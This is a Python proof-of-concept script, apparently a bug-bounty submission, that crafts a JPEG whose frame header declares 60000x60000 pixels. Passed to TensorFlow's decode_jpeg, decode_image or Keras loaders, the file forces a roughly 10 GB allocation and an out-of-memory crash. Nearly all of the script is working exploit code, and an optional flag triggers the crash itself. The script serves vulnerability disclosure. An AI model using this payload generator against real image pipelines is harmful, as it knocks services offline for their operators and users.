tf-jpeg-dos-poc / poc_exploit.py
Rodion111's picture
Upload poc_exploit.py with huggingface_hub
15af1e5 verified
#!/usr/bin/env python3
"""
PoC: TensorFlow JPEG Decoder Unbounded Memory Allocation (DoS)
CVE: TBD | CWE-770 | CVSS 7.5
Vulnerability:
tensorflow/core/kernels/image/decode_image_op.cc β€” DecodeJpegV2 reads
height/width from the JPEG SOF header and allocates height*width*channels
bytes WITHOUT any upper bound check.
Compare with DecodeBmpV2 (SAME FILE) which checks:
OP_REQUIRES(context, total_bytes < (1LL << 30), ...)
JPEG is the MOST COMMON image format β€” every TF image pipeline is affected.
Attack:
Craft a JPEG with SOF0 declaring width=60000, height=60000.
TF attempts to allocate 60000 * 60000 * 3 = ~10 GB.
tf.io.decode_jpeg() on this file β†’ OOM crash.
Unlike GIF (companion finding), JPEG affects:
- tf.io.decode_jpeg()
- tf.io.decode_image()
- tf.keras.preprocessing.image.load_img()
- All tf.data image pipelines
Usage:
python3 poc_exploit.py # generates malicious.jpg
python3 poc_exploit.py --trigger # also triggers crash via TF
Author: security research (huntr.com submission)
"""
import sys
import os
import struct
OUTPUT_FILE = 'malicious_huge.jpg'
def create_malicious_jpeg(width: int = 60000, height: int = 60000,
channels: int = 3) -> bytes:
"""
Craft a minimal JPEG file with SOF0 declaring extreme dimensions.
JPEG structure used:
SOI β†’ APP0 (JFIF) β†’ SOF0 (huge dimensions) β†’ DHT β†’ EOI
libjpeg reads SOF0 and returns width/height to TensorFlow.
TF then calls allocate_output(TensorShape({height, width, channels}))
without checking the total size.
"""
# SOI β€” Start of Image
data = b'\xFF\xD8'
# APP0 β€” JFIF marker (makes it a "valid" JPEG)
jfif = b'JFIF\x00' # identifier
jfif += struct.pack('>BB', 1, 2) # version 1.2
jfif += b'\x00' # pixel aspect ratio (none)
jfif += struct.pack('>HH', 1, 1) # pixel aspect ratio 1:1
jfif += b'\x00\x00' # no thumbnail
data += b'\xFF\xE0' + struct.pack('>H', len(jfif) + 2) + jfif
# SOF0 β€” Start of Frame (Baseline DCT)
# This is where TF reads the dimensions
# Format: length(2) | precision(1) | height(2) | width(2) | n_components(1)
# [component_id(1) | sampling(1) | qt_id(1)] * n_components
precision = 8 # bits per sample
sof0_body = struct.pack('>B', precision)
sof0_body += struct.pack('>H', height) # ← HUGE HEIGHT
sof0_body += struct.pack('>H', width) # ← HUGE WIDTH
sof0_body += struct.pack('>B', channels)
for comp_id in range(1, channels + 1):
sof0_body += struct.pack('>BBB', comp_id, 0x11, 0) # id, sampling, qt
sof0_length = len(sof0_body) + 2 # +2 for length field itself
data += b'\xFF\xC0' + struct.pack('>H', sof0_length) + sof0_body
# DHT β€” Define Huffman Table (minimal, required for valid JPEG)
# Minimal: DC table class=0, id=0, all zero counts
dht_body = bytes([0x00]) # table class 0, id 0
dht_body += bytes([0] * 16) # zero counts for all lengths
# No symbols needed for empty table
data += b'\xFF\xC4' + struct.pack('>H', len(dht_body) + 2) + dht_body
# DQT β€” Define Quantization Table (minimal)
dqt_body = bytes([0x00]) # precision 0, table id 0
dqt_body += bytes([16] * 64) # 64 quantization values
data += b'\xFF\xDB' + struct.pack('>H', len(dqt_body) + 2) + dqt_body
# SOS β€” Start of Scan (triggers actual decode)
sos_body = struct.pack('>B', channels)
for comp_id in range(1, channels + 1):
sos_body += struct.pack('>BB', comp_id, 0x00) # comp_id, dc/ac table
sos_body += bytes([0, 63, 0]) # Ss, Se, Ah/Al (progressive params)
data += b'\xFF\xDA' + struct.pack('>H', len(sos_body) + 2) + sos_body
# Minimal scan data (all zeros β†’ valid compressed data for empty image)
data += b'\xFF\x00' * 4 # escaped 0xFF bytes in scan data
data += b'\x00' * 8 # scan payload
# EOI β€” End of Image
data += b'\xFF\xD9'
total_bytes_attempt = height * width * channels
bmp_limit = 1 << 30 # 1,073,741,824 bytes
print(f"[*] Crafted malicious JPEG:")
print(f" Dimensions : {width:,} x {height:,} x {channels} (RGB)")
print(f" Alloc attempt: {total_bytes_attempt:,} bytes = "
f"{total_bytes_attempt / 1e9:.1f} GB")
print(f" File size : {len(data)} bytes (minimal header)")
print(f" BMP limit : {bmp_limit:,} bytes (2^30) β†’ would BLOCK")
print(f" PNG limit : {1<<29:,} bytes (2^29) β†’ would BLOCK")
print(f" JPEG limit : NONE β†’ TF allocates {total_bytes_attempt/1e9:.1f} GB ← CRASH")
return data
def main():
trigger = '--trigger' in sys.argv
payload = create_malicious_jpeg()
with open(OUTPUT_FILE, 'wb') as f:
f.write(payload)
print(f"\n[+] Malicious JPEG written: {OUTPUT_FILE} ({os.path.getsize(OUTPUT_FILE)} bytes)")
if trigger:
print(f"\n[*] Triggering via tf.io.decode_jpeg()...")
try:
import tensorflow as tf
print(f" TensorFlow version: {tf.__version__}")
jpeg_bytes = open(OUTPUT_FILE, 'rb').read()
# Primary trigger
result = tf.io.decode_jpeg(jpeg_bytes, channels=3)
print(f"[-] Unexpected success: shape={result.shape}")
except Exception as e:
name = type(e).__name__
if 'OOM' in str(e) or 'ResourceExhausted' in name or 'Memory' in name:
print(f"[+] CRASH CONFIRMED: {name}")
print(f" TF attempted to allocate a {60000*60000*3/1e9:.1f} GB tensor")
else:
print(f"[~] Exception: {name}: {e}")
else:
print(f"\n[i] Run with --trigger to demonstrate the crash:")
print(f" python3 {sys.argv[0]} --trigger")
print(f"\n Also works via:")
print(f" >>> import tensorflow as tf")
print(f" >>> tf.io.decode_image(open('{OUTPUT_FILE}','rb').read())")
if __name__ == '__main__':
main()